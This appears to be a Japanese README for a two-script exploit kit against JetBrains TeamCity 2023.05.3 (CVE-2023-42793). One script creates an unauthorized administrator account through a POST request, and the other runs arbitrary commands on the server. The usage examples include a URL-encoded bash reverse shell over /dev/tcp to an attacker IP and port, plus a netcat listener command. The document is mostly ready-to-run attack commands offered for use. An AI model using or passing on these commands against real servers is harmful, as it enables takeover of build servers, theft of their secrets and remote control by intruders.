
JetBrains TeamCity 2023.05.3 - リモートコード実行 (RCE), CVE-2023-42793
最初に
exploit.pyを使用して管理者アカウントを作成し、次にrce.pyを使用してターゲット上でコマンドを実行します。リバースシェルについてはこちらを確認してください。
このスクリプトはCVE-2023-42793を悪用してTeamCityサーバーに管理者アカウントを作成します。指定されたまたはランダムな認証情報を持つ管理者ユーザーを作成するために、ターゲットURLにPOSTリクエストを送信します。
python exploit.py -u <URL> [-v] [-n <USERNAME>] [-p <PASSWORD>] [-e <EMAIL>]
-u, --url URL: ターゲットURL(必須)-v, --verbose: 詳細モードを有効にする-n, --username USERNAME: ユーザー名を指定(デフォルト:ランダム)-p, --password PASSWORD: パスワードを指定(デフォルト:ランダム)-e, --email EMAIL: メールアドレスを指定(デフォルト:ランダム)-t, --token-file: トークンを保存するファイルpip3 install -r requirements.txtランダムなユーザー名、パスワード、メールアドレスでエクスプロイトを実行:
python exploit.py -u http://target.com
指定されたユーザー名、パスワード、メールアドレスでエクスプロイトを実行:
python exploit.py -u http://target.com -n admin -p admin123 -e [email protected]
エクスプロイトが成功すると、スクリプトは作成された管理者アカウントのURL、ユーザー名、パスワードを表示し、その出力をトークンファイルに保存します。
このスクリプトは、CVE-2023-42793を悪用して脆弱なTeamCityサーバー上でコマンドを実行できるようにします。まずデバッグプロセスを有効にし、次に適切なAPIエンドポイントを使用して指定されたコマンドを実行します。
python rce_exploit.py -u <URL> [-v] [-c <COMMAND>] [-P <PORT>]
-u, --url URL : ターゲットURL(必須)-t, --token-file : トークンを含むファイルを指定-c, --command COMMAND: 実行するコマンドを指定(RCE)-P, --port PORT: ポートを指定(デフォルトは80)指定されたコマンドでエクスプロイトを実行:
python rce.py -u http://target.com -t token -c "whoami"
python3 rce.py -u http://target.com -t token -c '"/bin/bash"¶ms="-c"¶ms="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}%2F{port}%200%3E%261"'
nc -nvlp 5555